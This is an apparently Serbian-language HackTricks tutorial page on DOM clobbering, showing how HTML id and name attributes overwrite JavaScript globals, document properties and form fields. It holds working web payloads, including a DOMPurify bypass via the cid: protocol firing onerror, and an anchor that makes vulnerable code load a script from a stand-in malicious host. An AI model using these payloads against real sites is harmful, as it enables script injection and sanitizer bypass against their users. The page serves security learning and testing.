hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
2024-02-10 13:11:20 +00:00

12 KiB

Dom Clobbering

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Osnove

Moguće je generisati globalne promenljive unutar JS konteksta sa atributima id i name u HTML tagovima.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Samo određeni elementi mogu koristiti name atribut za clobbering globalnih promenljivih, a to su: embed, form, iframe, image, img i object.

Interesantno je da kada koristite form element za clobbering promenljive, dobićete vrednost toString samog elementa: [object HTMLFormElement], ali sa anchor-om, toString će biti href ankora. Stoga, ako koristite a oznaku za clobbering, možete kontrolisati vrednost kada se tretira kao string:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Nizovi i atributi

Takođe je moguće zamijeniti niz i atribute objekta:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Da biste prebrisali treći atribut (npr. x.y.z), morate koristiti formu:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Zamena više atributa je komplikovanija, ali i dalje moguća, korišćenjem iframa:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} Stil tag se koristi da bi se dalo dovoljno vremena iframe-u da se prikaže. Bez toga ćete dobiti upozorenje nedefinisano. {% endhint %}

Da biste zamijenili dublje atribute, možete koristiti iframes sa HTML enkodiranjem na sledeći način:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Bypassiranje filtera

Ako filter petlja kroz svojstva čvora koristeći nešto poput document.getElementByID('x').attributes, možete prebrisati svojstvo .attributes i pokvariti filter. Ostala DOM svojstva poput tagName, nodeName ili parentNode i druga takođe su prebrisiva.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

U JavaScript-u je često moguće pronaći:

var someObject = window.someObject || {};

Manipulacija HTML-a na stranici omogućava zamenu someObject sa DOM čvorom, potencijalno uvodeći sigurnosne ranjivosti. Na primer, možete zameniti someObject sa elementom sidra koji pokazuje na zlonamerni skript:

<a id=someObject href=//malicious-website.com/malicious.js></a>

U ranjivom kodu kao što je:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Ova metoda iskorišćava izvor skripte da izvrši neželjeni kod.

Triks: DOMPurify vam omogućava da koristite protokol cid:, koji ne enkodira dvostruke navodnike. To znači da možete ubaciti enkodirani dvostruki navodnik koji će biti dekodiran pri izvršavanju. Stoga, ubacivanje nečega poput <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> će učiniti da HTML enkodirani &quot; bude dekodiran pri izvršavanju i izbegne vrednost atributa da kreira događaj onerror.

Druga tehnika koristi element form. Određene klijentske biblioteke pregledaju atribute novostvorenog elementa forme da bi ih očistile. Međutim, dodavanjem input sa id=attributes unutar forme, efektivno prepišete svojstvo atributa, sprečavajući sanitizator da pristupi stvarnim atributima.

Možete pronaći primer ovog tipa clobberinga u ovom CTF writeup-u.

Prepisivanje objekta dokumenta

Prema dokumentaciji, moguće je prepisati atribute objekta dokumenta koristeći DOM Clobbering:

Interfejs Document podržava imenovana svojstva. Podržana imena svojstava Document objekta dokumenta u bilo kom trenutku sastoje se od sledećeg, u redosledu stabla prema elementu koji ih je doprineo, ignorišući kasnije duplikate, i sa vrednostima iz id atributa dolazeći pre vrednosti iz atributa name kada isti element doprinosi oba:

- Vrednost atributa name sadržaja za sve izložene embed, form, iframe, img i izložene object elemente koji imaju neprazan atribut name sadržaja i nalaze se u stablu dokumenta sa dokumentom kao njihovim korenom;

- Vrednost atributa id sadržaja za sve izložene object elemente koji imaju neprazan atribut id sadržaja i nalaze se u stablu dokumenta sa dokumentom kao njihovim korenom;

- Vrednost atributa id sadržaja za sve img elemente koji imaju i neprazan atribut id sadržaja i neprazan atribut name sadržaja, i nalaze se u stablu dokumenta sa dokumentom kao njihovim korenom.

Korišćenjem ove tehnike možete prepisati često korišćene vrednosti kao što su document.cookie, document.body, document.children, pa čak i metode u interfejsu Document kao što je document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Pisanje nakon što je element prebrisao

Rezultati poziva document.getElementById() i document.querySelector() mogu biti promenjeni ubacivanjem <html> ili <body> oznake sa identičnim id atributom. Evo kako to može biti urađeno:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Osim toga, primenom stilova za sakrivanje ovih ubačenih HTML/body oznaka, može se sprečiti mešanje sa drugim tekstom u innerText, čime se poboljšava efikasnost napada:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Istraživanja o SVG-u otkrila su da se oznaka <body> takođe može efikasno koristiti:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Za HTML oznaku da funkcioniše unutar SVG u pregledačima poput Chrome-a i Firefox-a, potrebna je oznaka <foreignobject>:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering formi

Moguće je dodati nove unose unutar formulara samo navođenjem atributa form unutar određenih oznaka. Možete koristiti ovo da biste dodali nove vrednosti unutar formulara i čak dodali novi dugme za slanje (clickjacking ili zloupotreba nekog .click() JS koda):

{% code overflow="wrap" %}

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!